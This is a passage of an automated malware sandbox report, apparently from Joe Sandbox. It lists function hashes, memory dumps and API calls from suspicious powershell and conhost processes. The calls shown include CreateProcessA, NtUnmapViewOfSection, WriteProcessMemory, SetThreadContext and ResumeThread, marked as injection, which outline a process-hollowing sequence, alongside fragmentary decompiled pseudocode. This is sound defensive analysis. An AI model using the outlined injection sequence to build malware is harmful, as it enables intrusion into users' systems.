Instruction Fuzzy Hash: B0916832A0CA8A4FE79AD71C58556B57BD2EFA6320F2801BED05DC71D3DE58AC858381

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B59E27 Relevance: .7, Instructions: 741COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 965c067d92001e5efb35c23ec11c1e99555fb23eed8e3658406437b115e1152c
Instruction ID: e5e13278fc900ddb03aed40f8c0d1dcd989e0dfa99023db176f2df6c25f7e4ab
Opcode Fuzzy Hash: 965c067d92001e5efb35c23ec11c1e99555fb23eed8e3658406437b115e1152c
Instruction Fuzzy Hash: 1E02C030A08A498FDF85EF2CC495AA97BE1FF59311F54416AD40DD729ACB65F882CBC0

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B587BC Relevance: .5, Instructions: 527COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 782ffa434146e8a01ecbcdcd1e419b9adcae5fc0863c9067df396e8d34547bec
Instruction ID: 4eb2b67abe35538625a172f04d1162596a24ba550c11e6c4409bf33609c08bb0
Opcode Fuzzy Hash: 782ffa434146e8a01ecbcdcd1e419b9adcae5fc0863c9067df396e8d34547bec
Instruction Fuzzy Hash: E8F1C230A08A498FDB94EF1DC485AA97BE1FF69301F5441A9D40DD729ACB75F882CBC1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C2825C Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481946474.00007FF9F1C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50e0daed9258fdcfb451b667d837cd69f4fb09419139e85ab7a75439d5842a92
Instruction ID: 9b63db62618b0f9e862973679ed392a2083b92d061cc6b5a8ce8b3431cc28cbb
Opcode Fuzzy Hash: 50e0daed9258fdcfb451b667d837cd69f4fb09419139e85ab7a75439d5842a92
Instruction Fuzzy Hash: 36A1487290CB894FE755EB299C156B63BE0FF56320F1801BEE05DC71D3EA28AC568391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B57AF8 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bd804891815f9e8652ea4e84ee21e9ec57271a4754215a04ece0634d95cfc643
Instruction ID: e42a12f0efe08745b4bac41b8e24f764ff8e539ab54ec4db06ae5dd0c1dc48c0
Opcode Fuzzy Hash: bd804891815f9e8652ea4e84ee21e9ec57271a4754215a04ece0634d95cfc643
Instruction Fuzzy Hash: 6D11707180E7C58FD7478B344C695957FB0EF23211B4902DBD594CB0F7D6585848C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B51C59 Relevance: .2, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 755b47dbec1437449d5a82276d3b788f08c2fb24fcc41ee4ec4265828a436f2a
Instruction ID: b7dbda2434e35a45ed2a434836e4c155f96c1b592d8606806d30b99036927ce5
Opcode Fuzzy Hash: 755b47dbec1437449d5a82276d3b788f08c2fb24fcc41ee4ec4265828a436f2a
Instruction Fuzzy Hash: 9B51083190CA498FD305DB18D454BA5B7E1FF85310F4846BAE05CC72DECF69A98587C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C24370 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481946474.00007FF9F1C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8f22fd9a831c898ccdccc9194af5c5460e7ecda4dc4ce41252cf3da7e16ced2
Instruction ID: 52e50c52a610a75a06dcbd30b201c2df68cfc402d23af33677b2378dd884bc13
Opcode Fuzzy Hash: b8f22fd9a831c898ccdccc9194af5c5460e7ecda4dc4ce41252cf3da7e16ced2
Instruction Fuzzy Hash: 64411332A0CA894FEBAAD72854517B87BD1EFA5720B6801FEC05EC71D3DA58BC4583C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B57575 Relevance: .1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd71693f573ee411f383d1db9fe8fe40a5aa4aa9b38d498d48c624bf98871c20
Instruction ID: 4084420a8075ac54c9e66829c07ba429a37e4ef945c93872c44daefbc359e209
Opcode Fuzzy Hash: dd71693f573ee411f383d1db9fe8fe40a5aa4aa9b38d498d48c624bf98871c20
Instruction Fuzzy Hash: FB31F87191CB888FDB58DF5C98066A97BE0FB59321F04426FE049C3292DB74A855CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B5804C Relevance: .1, Instructions: 102COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9e5840abae7962780ad1d1f32c7da210ab13cbbde0cad300b76486c6a06ea79
Instruction ID: d68e4a0493d73dc62b66327ce6835abd084e0a9dd38cdf6a3fdde7ae1b1f30e6
Opcode Fuzzy Hash: d9e5840abae7962780ad1d1f32c7da210ab13cbbde0cad300b76486c6a06ea79
Instruction Fuzzy Hash: 1121283090CB4C8FDB59DFAC984A7E97FE0EB56321F04416BD049C3156CB74A85ACB91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C240CF Relevance: .1, Instructions: 93COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481946474.00007FF9F1C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 840b53a5d30fc9e8d0ec5778ad601eb57f95a1d5abf06124cafdb02c9a2fbffe
Instruction ID: c7304689334e9d28fea5c358bbb84262860e7a934c8c923b0b596d973a2a6b0a
Opcode Fuzzy Hash: 840b53a5d30fc9e8d0ec5778ad601eb57f95a1d5abf06124cafdb02c9a2fbffe
Instruction Fuzzy Hash: 1821DD22E0DA864FE7AADB58545137476D2EFB5310B7900B9C12EC72E3CE68F8848281

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C243BC Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481946474.00007FF9F1C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1c20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c78d59ab3a856f88c157e3b22803e6228723f2f94a5adfe0a2efe1e5ab821201
Instruction ID: 6d85f394c98c648894fd63e015c6496d159414e91b0aaecf601e59530e0f85ae
Opcode Fuzzy Hash: c78d59ab3a856f88c157e3b22803e6228723f2f94a5adfe0a2efe1e5ab821201
Instruction Fuzzy Hash: C111A032A0DA854FE7A6D71894517B87AD1EF65B20B6800BAD15ECB1D3CB48BC8042C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B51775 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57c8e95e389048294af7b3b9936d9240bcb4c431421e216c408a86abe748e8e1
Instruction ID: 1d8270637d8a766f7110ea9933c5dbfb1604d4f466b05db25b899dd04119b816
Opcode Fuzzy Hash: 57c8e95e389048294af7b3b9936d9240bcb4c431421e216c408a86abe748e8e1
Instruction Fuzzy Hash: 4301447111CB088FD744EF0CE451AA6B7E0FB95364F50056EE58AC3695DB26E881CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1B5A108 Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.481457964.00007FF9F1B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1b50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 179a3c5a051657039cb3bfbee0abf2169113c517a1e4a41c736b13b1c326416a
Instruction ID: a1adff5caa1fd5a81f0d5921c16a87657c7a61e12282c7b5100bf742bb9caa74
Opcode Fuzzy Hash: 179a3c5a051657039cb3bfbee0abf2169113c517a1e4a41c736b13b1c326416a
Instruction Fuzzy Hash: 2EF0373276C6044FDB4CAA1CF4529B573D1EB99321B44056EE48BC2696D917F8428685

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 6936, Parent PID: 6800COMMON

Execution Graph

Execution Coverage:	16.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	41
Total number of Limit Nodes:	3

Executed Functions

Function 0000027E764F9106 Relevance: 1.9, APIs: 1, Instructions: 378
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000027E764F9264

Memory Dump Source

Source File: 00000018.00000002.662884382.0000027E76320000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000027E76320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_27e76320000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4981fcbef524a62066d347c258a4edd11de724e6c9263cf9e55c3275a19a809e
Instruction ID: dda2a228d0c9bdcddd1b6a8184d5f843b5aaf9ac11b3f5126b1e35dc133a2f0a
Opcode Fuzzy Hash: 4981fcbef524a62066d347c258a4edd11de724e6c9263cf9e55c3275a19a809e
Instruction Fuzzy Hash: B5C1A87031C9059BEF5DDA28C88A7F9F3D5FB9C306F1901A9D45EC7186EB21DC428A91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C0690E Relevance: 1.6, APIs: 1, Instructions: 116
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 00007FF9F1C069CB

Memory Dump Source

Source File: 00000018.00000002.676849181.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 7b4211be23b94be085fd443075647a4a5d8041b86a00cf7a3089ba44f9935114
Instruction ID: 105ee5b77823cc2b2da622d751e31f9d7331737060f5e411ccf0f00ce503e4e6
Opcode Fuzzy Hash: 7b4211be23b94be085fd443075647a4a5d8041b86a00cf7a3089ba44f9935114
Instruction Fuzzy Hash: 8931E53090C7888FDB5ADF68C8457E97FE0EF57320F18429FD089C7196D665A846CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0000027E764F8EB2 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLRCreateInstance.MSCOREE ref: 0000027E764F8F01
SafeArrayDestroy.OLEAUT32 ref: 0000027E764F90AC

Memory Dump Source

Source File: 00000018.00000002.662884382.0000027E76320000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000027E76320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_27e76320000_conhost.jbxd

Similarity

API ID: ArrayCreateDestroyInstanceSafe
String ID:
API String ID: 3902440814-0
Opcode ID: 3d7ce29a3494d90a8d6d00d3dac55982f43ec50322358874c395b9073376e0d7
Instruction ID: 2b8d971abc063ef6174d84a50fae2cd1c09a1950e01f462cef93f86a717d4b1e
Opcode Fuzzy Hash: 3d7ce29a3494d90a8d6d00d3dac55982f43ec50322358874c395b9073376e0d7
Instruction Fuzzy Hash: 91817030208A088FDB68EF28C889BE6B7E1FF99305F044A6DD49FC7151EB31E9458B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C064D0 Relevance: 1.9, APIs: 1, Instructions: 385
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE ref: 00007FF9F1C0680E

Memory Dump Source

Source File: 00000018.00000002.676849181.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 12e3a04df9cc3d0d8b13f147fad88ed055a4f75051d413c91700522ba2e4678e
Instruction ID: dc1d256dd028ba9dfa1d24603e784b97b424b33ef3aa498ef827442acc1b824b
Opcode Fuzzy Hash: 12e3a04df9cc3d0d8b13f147fad88ed055a4f75051d413c91700522ba2e4678e
Instruction Fuzzy Hash: 9BC1C670918A8D8FEB68DF2CDC467E977D0FB59310F10422AE85DC7291DB74A9858BC2

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C06C00 Relevance: 1.6, APIs: 1, Instructions: 126
threadinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetThreadContext.KERNELBASE ref: 00007FF9F1C06C9B

Memory Dump Source

Source File: 00000018.00000002.676849181.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 87045bbf9e9fd6d5d475c4d3ccd640ff1d4fc1fa48d0b94c592fd7e48bcfadd7
Instruction ID: fbc01e9ed564a61c5281e6f85370e036a546955d5ee3369f1ae0bfbf5e160e17
Opcode Fuzzy Hash: 87045bbf9e9fd6d5d475c4d3ccd640ff1d4fc1fa48d0b94c592fd7e48bcfadd7
Instruction Fuzzy Hash: F531E531A0C6088FEB58DF58D8467F9BBE0EB96321F14416FD08DC3192DA75A8968B91

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C06B00 Relevance: 1.6, APIs: 1, Instructions: 126
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE ref: 00007FF9F1C06BC7

Memory Dump Source

Source File: 00000018.00000002.676849181.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 5a2d08dbff7811b729ba0c80f514e8b0c63b8f74a41db581e85ac411c8bd8c5f
Instruction ID: b92cdae1b0cca36e979e70d58ae5ebd81684e4ba594853d6a336e88e7a0630f1
Opcode Fuzzy Hash: 5a2d08dbff7811b729ba0c80f514e8b0c63b8f74a41db581e85ac411c8bd8c5f
Instruction Fuzzy Hash: 0B31E37190CA5C8FDB19DF5C98497F9BBE0FB5A321F04426FD089D3692CB70A8468B81

Uniqueness

Uniqueness Score: -1.00%

Function 0000027E764F83BA Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000027E764F83D4

Memory Dump Source

Source File: 00000018.00000002.662884382.0000027E76320000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000027E76320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_27e76320000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction ID: e91b55f4628f942c9ed6ae405c7a2da772ad12f531f8131a94b7744fe6478b98
Opcode Fuzzy Hash: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction Fuzzy Hash: 3531963130CA084FEF58AA68DC4A2AAB3E5F7D8311F051159EC4FD7286EE64DD4687D1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C070D0 Relevance: 1.6, APIs: 1, Instructions: 119
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ResumeThread.KERNELBASE ref: 00007FF9F1C07185

Memory Dump Source

Source File: 00000018.00000002.676849181.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ca399a048fafa4a4e59a9e056c4343ff41f843a3effc1775aeb189256371beff
Instruction ID: 93d0d6bf854d753775d0b06c469868742aef5ae4aa36a83799c8f8f9b1fcc4cd
Opcode Fuzzy Hash: ca399a048fafa4a4e59a9e056c4343ff41f843a3effc1775aeb189256371beff
Instruction Fuzzy Hash: 4331CF3190CA488FDB59EB68D8067F97BE0EF56320F08416ED04DC36A2CB646856CB81

Uniqueness

Uniqueness Score: -1.00%

Function 0000027E764F82AF Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0000027E764F82BC

Memory Dump Source

Source File: 00000018.00000002.662884382.0000027E76320000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000027E76320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_27e76320000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction ID: 5b9fe5af969d421a32c70b163cff9df11e52906cee555d4729d001c0779ad6e1
Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction Fuzzy Hash: DB31A13130CA184FDF58EA58984A3A9B3D2F7D8721F050299DC0FE72C9EE61DD428792

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C071BC Relevance: 1.6, APIs: 1, Instructions: 105
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00007FF9F1C07255

Memory Dump Source

Source File: 00000018.00000002.676849181.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_7ff9f1c00000_conhost.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 1010de40233fd454aa96faf2e0694d4c251615cbab1514dd018ea45a15c87557
Instruction ID: 96166ba77e5b9937be173a704efe719e1d73f6a85de794027329d239fb2410af
Opcode Fuzzy Hash: 1010de40233fd454aa96faf2e0694d4c251615cbab1514dd018ea45a15c87557
Instruction Fuzzy Hash: 8131C23090CA4C9FDB59DB688805BF9BBF0FB56321F14426FD089D31A2DB64A856CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0000027E764F82A2 Relevance: 1.5, APIs: 1, Instructions: 35libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE ref: 0000027E764F82BC

Memory Dump Source

Source File: 00000018.00000002.662884382.0000027E76320000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000027E76320000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_27e76320000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction ID: 055e23c8c5ef004067ebd5881b4ad1a4509a11b98612a180a6ff22238d26ca30
Opcode Fuzzy Hash: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction Fuzzy Hash: BAE0D83120CA0D1FFB58D69DD84A7F6A6D8E799276F04006EE549D2141F156989103A1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 6712, Parent PID: 6936COMMON

Execution Graph

Execution Coverage:	33.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	15
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 004010C4 Relevance: 1.4, Strings: 1, Instructions: 175
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E004010C4(void* __rax, long long __rcx, long long __rdx, long long _a8, long long _a16) {
				void* _v32;
				char _v136;
				void* _v144;
				char _v152;
				char _v160;
				char _v680;
				void* _v1200;
				void* _v1208;
				char _v1468;
				long long _v1480;
				long long _v1496;
				long long _v1504;
				long long _v1512;
				long long _v1520;
				long long _v1528;
				long long _v1536;
				long long _v1544;
				long long _t94;
				long long _t104;

				_a8 = __rcx;
				_a16 = __rdx;
				L00401D70(); // executed
				L00401D78();
				_v136 = 0x68;
				_v144 = 0;
				_v152 = 0x64d4;
				E00401D80();
				L00401D88();
				E00401000(0x402021,  &_v1468);
				_v1480 = 0x402021;
				E00401000(0x402027, 0x402021);
				L00401D90();
				E00401000(0x40203c,  &_v680);
				L00401D90();
				_v1504 =  &_v32;
				_v1512 =  &_v136;
				_v1520 = 0;
				_v1528 = 0;
				_v1536 = 0;
				_v1544 = 0;
				_t94 =  &_v680;
				L00401D98(); // executed
				_v1536 = _t94;
				_v1544 = _t94;
				E004019C6(_v32,  &_v144,  &_v152,  &_v152);
				E00401000(0x402051, _v32);
				_v1544 = 0;
				E00401986(_v32, _v144, 0x402051, 0x64d4); // executed
				_v1544 = 0;
				_t104 = _v32;
				E00401A06(_t104,  &_v144,  &_v152, 0);
				_v1496 = _t104;
				_v1504 = 0;
				_v1512 = 0;
				_v1520 = 0;
				_v1528 = 0;
				_v1536 = 0;
				_v1544 = _v144;
				E00401946( &_v160, _v32, _v32, _v32); // executed
				return 0;
			}

Strings

ossgiopsxz, xrefs: 004011F1

Memory Dump Source

Source File: 00000025.00000002.654126876.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_400000_conhost.jbxd

Similarity

API ID:
String ID: ossgiopsxz
API String ID: 0-950112196
Opcode ID: 027129236f5fc17bb930072bc991c7d93042750dbe684d2a69f9bce0d8af0eb9
Instruction ID: 2fac3ab3631056accbe24265960f0be9d3d1f2f5858e293367a5fffc7fc83569
Opcode Fuzzy Hash: 027129236f5fc17bb930072bc991c7d93042750dbe684d2a69f9bce0d8af0eb9
Instruction Fuzzy Hash: AB613C61702B504DEB508B27DC513DA77A8F749BC8F404176AE8CAB799EE3DCA44C744

Uniqueness

Uniqueness Score: -1.00%

Function 00401BEA Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			_entry_() {
				char _v12;
				long long _v24;
				long long _v40;
				void* _t15;
				void* _t16;

				L00401D78();
				L00401DA8();
				L00401DB0();
				L00401DB8();
				_v24 = __imp____argc;
				_v40 =  &_v12;
				L00401DC0();
				_v24 = __imp____argc;
				_t15 = E00401B3F(_t16, _v24,  *__imp____argv,  *__imp___environ,  &_v12); // executed
				L00401DC8(); // executed
				return _t15;
			}

0x00401c17
0x00401c29
0x00401c39
0x00401c54
0x00401c6e
0x00401c76
0x00401c97
0x00401cb1
0x00401cd0
0x00401cdb
0x00401ce1

Memory Dump Source

Source File: 00000025.00000002.654126876.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21ce4a3c4bad2d8f52745ea6da2cc4f672f971df28c2dac7a61d08be2758dfbf
Instruction ID: f95b0866ce9a4e8d08972c4a78e499f77477d906ef96c5bed7f61ccbfb91fcdc
Opcode Fuzzy Hash: 21ce4a3c4bad2d8f52745ea6da2cc4f672f971df28c2dac7a61d08be2758dfbf
Instruction Fuzzy Hash: BE21ECA4301A1498EB80DB57DD5179923A4BB4DFC8F804937AF4DB7365EE7CD9019348

Uniqueness

Uniqueness Score: -1.00%

Function 00401B3F Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00401B3F(void* __ecx, long long __rcx, long long __rdx, long long __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v12;
				long long _v24;
				intOrPtr _t14;

				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				E00401A48(_a16, _a16, _a24);
				_v24 = __imp____argc;
				_t14 = E004010C4(_v24, _v24,  *__imp____argv); // executed
				_v12 = _t14;
				E00401ADC();
				return _v12;
			}

0x00401b4a
0x00401b4e
0x00401b52
0x00401b70
0x00401b8a
0x00401ba9
0x00401bae
0x00401bb1
0x00401bba

Memory Dump Source

Source File: 00000025.00000002.654126876.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_37_2_400000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 71c76325ed0e7fe3de239db9d8a5e5db3261d91b9ad74311023916eb60203952
Instruction ID: 7879c93a9b15af3785b8632dd2cf68d13165e66144cc5e65a5fd7a9e35596cc3
Opcode Fuzzy Hash: 71c76325ed0e7fe3de239db9d8a5e5db3261d91b9ad74311023916eb60203952
Instruction Fuzzy Hash: A801A4B6702B488DDB40DF66DC8139837A4F348BC8F40482AAF4CA7B69DA38C5118744

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 6236, Parent PID: 6712COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	19
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00000286977B4D06 Relevance: 1.9, APIs: 1, Instructions: 378
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 00000286977B4E64

Memory Dump Source

Source File: 00000029.00000002.695316719.00000286977B0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000286977B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_41_2_286977b0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
Instruction ID: 41c754a9c32c8205600ff4d15a87c64926426ae7a4d3f4453598986d4024dd47
Opcode Fuzzy Hash: e85963f26a05e09d368196b1c7f413e753b92ff7721d7fdd34470331445b4a6a
Instruction Fuzzy Hash: DCC154343179055BEB99EE28849DBB9B3D1FB98300F548669D54ACB1C6DF30F8528B81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C04536 Relevance: 1.7, Strings: 1, Instructions: 476
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8eAS, xrefs: 00007FF9F1C04739

Memory Dump Source

Source File: 00000029.00000002.702660848.00007FF9F1C00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C00000, based on PE: false

Joe Sandbox IDA Plugin

